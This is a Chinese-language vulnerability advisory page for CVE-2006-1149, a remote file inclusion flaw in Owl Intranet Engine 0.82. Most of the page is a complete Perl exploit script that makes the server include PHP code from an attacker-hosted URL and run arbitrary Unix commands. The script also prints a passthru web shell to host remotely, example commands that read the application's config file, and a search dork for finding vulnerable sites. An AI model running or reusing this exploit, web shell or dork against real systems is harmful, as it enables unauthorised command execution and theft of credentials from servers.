首页 -> 安全研究
安全研究
安全漏洞
Owl Intranet Engine远程文件包含漏洞
发布日期:2006-05-07
更新日期:2006-05-07
受影响系统:
Owl Owl Intranet Engine 0.82描述:
BUGTRAQ ID: 17021
CVE(CAN) ID: CVE-2006-1149
Owl Intranet Engine是一种用于多用户维护知识库的基于Web的软件。
Owl Intranet Engine处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。
Owl Intranet Engine的OWL_API.php脚本没有正确验证xrms_file_root参数的输入,允许攻击者通过包含本地或外部资源的任意文件导致执行任意PHP代码。
<*来源:rgod (rgod@autistici.org)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl
use IO::Socket;
print "WwwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWwoLWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWw**wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWo�*�WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWwo� *�wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWW� ��*�wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWwo� ��*o�wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWw�*� �*�wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWw�*� ��WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWwwwLLwwwWWwo� oWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWL*� �*o� �wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWW* �*�wwwwww�* WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWo �Lwwwwwwwwwwww� �WWWWWWwwwwwWWWWWWwwwwwwwwwwwwwWWWWWWWWWW\r\n";
print "WWWWWWWWWWW� *wwwwwwwwwwwwwwww� wWWWW* *WWWWw oWWWWWWWWW\r\n";
print "WWWWWWWWWWW� �wwwww� �*wwwwww �WWWw wWWW� w oWWWWWWWWW\r\n";
print "WWWWWWWWWWW owwww* �* owwww� wWW* �WWw oW oWWWWWWWWW\r\n";
print "WWWWWWWWWWW �wwww * �wwww *Ww o wW* *WW oWWWWWWWWW\r\n";
print "WWWWWWWWWWWo owww� owww� o w* �W� �w wWW oWWWWWWWWW\r\n";
print "WWWWWWWWWWWW* *wwwo� ��www� oWo � wWL � �WWW *wwwwwwwww\r\n";
print "WWWWWWWWWWWWWL� ��wwwwwwwwo� *wWWW� *WWW� �WWWW\r\n";
print "WWWWWWWWWWWWWWWwo� ��� �*LWWWWWWW wWWWL �WWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWwwwwLLLwwwwWWWWWWWWWWWWo *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW� wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWw *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWo wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW� *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWw�WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n\r\n";
print " OWL Intranet Engine 0.82 \"xrms_file_root\" cmmnds xctn xploit\r\n";
print " -> works with register_globals = On & allow_url_fopen = On \r\n";
print " by rgod rgod<AT>autistici<DOT>org \r\n";
print " site: http://retrogod.altervista.org \r\n\r\n";
print "Sun-Tzu: \"But a kingdom that has once been destroyed can never come\r\n";
print "again into being; nor can the dead ever be brought back to life\"\r\n\r\n";
print "\r\n dork: intitle:\"owl intranet * owl\" 0.82\r\n";
sub main::urlEncode {
my ($string) = @_;
$string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
#$string# =~ tr/.//;
return $string;
}
$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};
if (@ARGV < 4)
{
print "\r\nUsage:\r\n";
print "perl owl_082_xpl.pl SERVER PATH LOCATION COMMAND\r\n\r\n";
print "SERVER - Server where OWL is installed.\r\n";
print "PATH - Path to OWL (ex: /owl/ or just /) \r\n";
print "LOCATION - a site with the code to include (without ending slash)\r\n";
print "COMMAND - a Unix command\r\n\r\n";
print "Example:\r\n";
print "perl owl_xpl.pl localhost /owl/ http://192.168.1.3 ls -la\r\n";
print "perl owl_xpl.pl localhost /owl/ http://192.168.1.3 cat ./../config/owl.php\r\n\r\n";
print "note: on http location you need this code in /include-locations.inc/index.html :\r\n\r\n";
print "<?php\r\n";
print "if (get_magic_quotes_gpc())\r\n";
print "{\$_GET[\"cmd\"]=stripslashes(\$_GET[\"cmd\"]);}\r\n";
print "ini_set(\"max_execution_time\",0);\r\n";
print "passthru(\$_GET[\"cmd\"]);\r\n";
print "die;\r\n";
print "?>\r\n";
exit();
}
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET ".$path."lib/OWL_API.php?cmd=".$cmd."&xrms_file_root=".$loc." HTTP/1.1\r\n";
print $sock "User-Agent: Y!TunnelPro\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";
while ($answer = <$sock>) {
print $answer;
}
close($sock);
# milw0rm.com [2006-03-07]
建议:
厂商补丁:
Owl
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://owl.sourceforge.net/
浏览次数:4077
严重程度:0(网友投票)
绿盟科技给您安全的保障